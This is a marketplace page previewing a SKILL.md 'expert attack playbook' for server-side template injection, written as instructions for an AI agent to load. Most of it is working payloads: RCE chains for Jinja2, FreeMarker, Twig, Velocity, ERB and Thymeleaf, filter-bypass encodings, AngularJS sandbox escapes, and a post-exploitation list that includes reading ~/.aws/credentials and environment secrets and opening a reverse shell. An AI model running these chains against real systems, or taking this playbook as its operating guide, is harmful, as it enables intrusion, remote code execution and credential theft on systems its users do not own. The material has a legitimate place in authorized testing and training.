Skip to main content

ssti-server-side-template-injection

SSTI playbook. Use when template expressions, server-side rendering, preview features, or templating engines may evaluate attacker-controlled content.

Source facts

Repository
yaklang/hack-skills
Last source activity
April 21, 2026 at 21:48
Detected SKILL.md language
English
Stars
2,458
Forks
331

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

File Explorer
3 files

Showing SKILL.md

SKILL.md
Source instructions ยท Read-only preview
name
ssti-server-side-template-injection
description
SSTI playbook. Use when template expressions, server-side rendering, preview features, or templating engines may evaluate attacker-controlled content.
# SKILL: Server-Side Template Injection (SSTI) โ€” Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert SSTI techniques. Covers polyglot detection probes, engine fingerprinting, Jinja2/FreeMarker/Twig/ERB RCE chains, client-side Angular SSTI, and bypass techniques. Base models often miss sandbox escape MRO chains and non-Jinja2 engines. For PHP CMS template eval, Jira SSTI, Confluence OGNL, and Spring Cloud Gateway SpEL, load the companion [SCENARIOS.md](./SCENARIOS.md). ## 0. RELATED ROUTING Before using full engine-specific exploitation, you can first load: - First use the polyglot probe sequence at the top of this file for low-noise fingerprinting - [expression-language-injection](../expression-language-injection/SKILL.md) when `${7*7}` or `%{7*7}` resolves in Java (SpEL/OGNL) โ€” different attack surface from template engines ### Extended Scenarios Also load [SCENARIOS.md](./SCENARIOS.md) when you need: - Maccms 8.x PHP template `eval` โ€” `{if-A:phpinfo()}{endif-A}` in `vod-search`, base64 bypass for webshell write - Jira CVE-2019-11581 โ€” "Contact Administrators" form โ†’ Velocity template injection โ†’ command output in admin email - Spring Cloud Gateway SpEL (CVE-2022-22947) โ€” actuator route injection with `StreamUtils.copyToByteArray` for output capture - Struts2 OGNL S2-045 (CVE-2017-5638) โ€” Content-Type header OGNL injection with `_memberAccess` / `OgnlUtil` blacklist clear - Confluence OGNL CVE-2021-26084 โ€” `createpage-entervariables.action` with `\u0027` unicode bypass - SSTI vs EL injection disambiguation guide - Additional template engines: ASP.NET Razor, Elixir EEx, PHP Smarty/Latte/Blade, JS Pug/Handlebars/Nunjucks/EJS/Lodash + universal detection + blind SSTI + Flask PIN calculation **SCENARIOS.md reference (ยง7โ€“ยง11):** For expanded payloads and engine-specific notes on Razor, EEx/LEEx/HEEx, PHP stacks, JavaScript template engines, the universal polyglot probe, mathematical fingerprinting, blind SSTI (boolean / time / OOB), and Flask debug PIN prerequisites, see [SCENARIOS.md](./SCENARIOS.md). This skill keeps a short checklist in ยง13โ€“ยง15. ### Engine Payloads Reference For extended engine-specific fingerprinting, payload matrices (Jinja2, Twig, Freemarker, Velocity, Pebble, Mako, Slim, Handlebars, Thymeleaf, Smarty, ERB, Jade/Pug), and blind SSTI detection techniques (timing-based, DNS-based), see [ENGINE_PAYLOADS.md](./ENGINE_PAYLOADS.md). ### Universal detection & blind SSTI (pointer) Use the polyglot payload and math probes in ยง1 and ยง13 first; when you need fuller blind-test patterns and per-engine examples (including non-Python stacks), follow [SCENARIOS.md](./SCENARIOS.md) ยง11 and cross-check ยง14 here for technique names (boolean, time, OOB, error-based). --- ## 1. DETECTION โ€” POLYGLOT PROBE SEQUENCE First test: distinguish SSTI from XSS. Send these probes and check if **math is evaluated** server-side: ``` {{7*7}} โ†’ IF returns 49 (not {{7*7}}) โ†’ Jinja2 or Twig ${7*7} โ†’ IF returns 49 โ†’ FreeMarker, Velocity, or Java EL #{7*7} โ†’ Ruby (ERB interpolation in strings) <#assign x=7*7>${x} โ†’ FreeMarker @{7*7} โ†’ Thymeleaf *{7*7} โ†’ Thymeleaf SpEL (*{...}) ``` **Jinja2 vs Twig disambiguation**: ``` {{7*'7'}} โ†’ 7777777 = Jinja2 (Python string multiplication) โ†’ 49 = Twig (PHP numeric) ``` **Safe detection probe** (no math, just boolean): ``` {{''.__class__}} โ†’ class 'str' = Python/Jinja2 ``` --- ## 2. ENGINE-TO-LANGUAGE MAPPING | Template Engine | Language | Framework | |---|---|---| | Jinja2 | Python | Flask, FastAPI | | Django Templates | Python | Django | | Mako | Python | Pyramid | | Twig | PHP | Symfony, Laravel | | Smarty | PHP | Various | | FreeMarker | Java | Spring MVC | | Velocity | Java | Various Java | | Pebble | Java | Various Java | | Thymeleaf | Java | Spring Boot | | ERB | Ruby | Rails | | Slim / Haml | Ruby | Rails | | Jade / Pug | Node.js | Express | | Handlebars | Node.js | Express | | Tornado | Python | Tornado | Identifying language from errors โ†’ then narrow to template engine. --- ## 3. JINJA2 (PYTHON FLASK) โ€” RCE CHAINS ### Chain 1: `os` module via `__globals__` ```python {{config.__class__.__init__.__globals__['os'].popen('id').read()}} ``` ### Chain 2: MRO subclass traversal (sandbox escape) ```python # List all subclasses: {{''.__class__.__mro__[1].__subclasses__()}} # Find subprocess.Popen index (usually around 258-270, varies by Python version): # Look for "subprocess.Popen" in the list # Execute command (replace [258] with correct index): {{''.__class__.__mro__[1].__subclasses__()[258]('id', shell=True, stdout=-1).communicate()[0]}} ``` ### Chain 3: `request` object globals (works when `config` blocked) ```python {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}} ``` (Uses hex encoding to avoid `_` filtering) ### Chain 4: `lipsum` function globals (Flask built-in) ```python {{lipsum.__globals__.os.popen('id').read()}} ``` ### Chain 5: `cycler` object ```python {{cycler.__init__.__globals__.os.popen('id').read()}} ``` ### Finding correct subprocess index dynamically: ```python # In injection: {% for c in ''.__class__.__mro__[1].__subclasses__() %} {% if 'Popen' in c.__name__ %} {{loop.index}} {% endif %} {% endfor %} ``` --- ## 4. JINJA2 SANDBOX BYPASS TECHNIQUES ### When `_` (underscore) is blocked: ```python # Use attr filter with hex encoding: ''|attr('\x5f\x5fclass\x5f\x5f') # Use getattr via request object: request|attr('args')|attr('__class__') ``` ### When `.` (dot) is blocked: ```python # Use [] subscript notation: ''['__class__'] config['SECRET_KEY'] ``` ### When keywords (class, mro) are blocked: Use hex/unicode in `attr()`: ```python |attr('\x5f\x5fclass\x5f\x5f') |attr('\x5f\x5fm\x72\x6F\x5f\x5f') ``` ### When output encoding strips HTML entities: Use `|safe` filter to prevent auto-escaping. --- ## 5. FREEMARKER (JAVA) โ€” RCE ### Execute Command via freemarker.template.utility.Execute ```freemarker <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")} ``` ### Alternative via ObjectConstructor: ```freemarker <#assign ob="freemarker.template.utility.ObjectConstructor"?new()> <#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))> ${br.readLine()} ``` --- ## 6. TWIG (PHP) โ€” RCE ```php // Twig 1.x (before sandbox): {{_self.env.registerUndefinedFilterCallback("exec")}} {{_self.env.getFilter("id")}} // Twig 2.x using built-ins: {{['id']|map('system')|join}} // via filter map: {{app.request.server.all|join(',')}} ``` --- ## 7. VELOCITY (JAVA) โ€” RCE ```velocity #set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null)) #set($run=$str.exec("id")) #set($out=$run.inputStream) ``` Or more directly: ```velocity #set($class=$currentNode.getClass()) #set($rt=$class.forName("java.lang.Runtime")) #set($proc=$rt.getMethod("exec",$class.forName("java.lang.String")).invoke($rt.getMethod("getRuntime").invoke(null),"id")) ``` --- ## 8. ERB (RUBY RAILS) โ€” RCE ```ruby <%= system('id') %> <%= `id` %> <%= IO.popen('id').read %> <%= File.read('/etc/passwd') %> ``` --- ## 9. THYMELEAF (JAVA SPRING) โ€” RCE Thymeleaf with Spring EL (SpEL): ```java // In th:text or th:fragment context: __${T(java.lang.Runtime).getRuntime().exec("id")}__::type // Fragment expression context: __${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type ``` --- ## 10. CLIENT-SIDE TEMPLATE INJECTION (AngularJS) When AngularJS is used client-side and user data flows into template expressions: ```javascript // AngularJS 1.x sandbox escape: {{constructor.constructor('alert(1)')()}} // 1.5.x: {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} // 1.3.x: {{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} ``` **Detection**: send `{{1+1}}` โ€” if page shows `2`, AngularJS evaluates expressions in the DOM. --- ## 11. SSTI โ†’ FULL RCE PATH ``` SSTI detected โ†’ identify engine โ”œโ”€โ”€ Jinja2 โ†’ config.__globals__['os'].popen() โ”‚ OR subclass traversal for Popen โ”œโ”€โ”€ FreeMarker โ†’ freemarker.template.utility.Execute?new() โ”œโ”€โ”€ Twig โ†’ _self.env.registerUndefinedFilterCallback('exec') โ”œโ”€โ”€ Velocity โ†’ java.lang.Runtime.exec() โ”œโ”€โ”€ ERB โ†’ <%= `cmd` %> โ”œโ”€โ”€ Thymeleaf โ†’ T(java.lang.Runtime).getRuntime().exec() โ””โ”€โ”€ Angular CSTI โ†’ constructor.constructor('payload')() ``` **Post-RCE pivot**: 1. Read `/proc/self/environ` โ€” env vars with credentials 2. Read application config files โ€” DB passwords, API keys 3. `cat ~/.aws/credentials` โ€” cloud credentials 4. Reverse shell for persistence --- ## 12. COMMON INJECTION ENTRY POINTS Where user data enters templates: - URL path: `https://site.com/home?name={{7*7}}` - Query parameters: `?message=Hello` - HTML forms: profile name, bio, content fields - Error pages: `404 Not Found: /PAYLOAD` - Email templates: name in password reset emails - Inline template rendering: `render_template_string(user_input)`
View on GitHub
This SKILL.md is very large, so SkillsMP previews the first section here. View on GitHub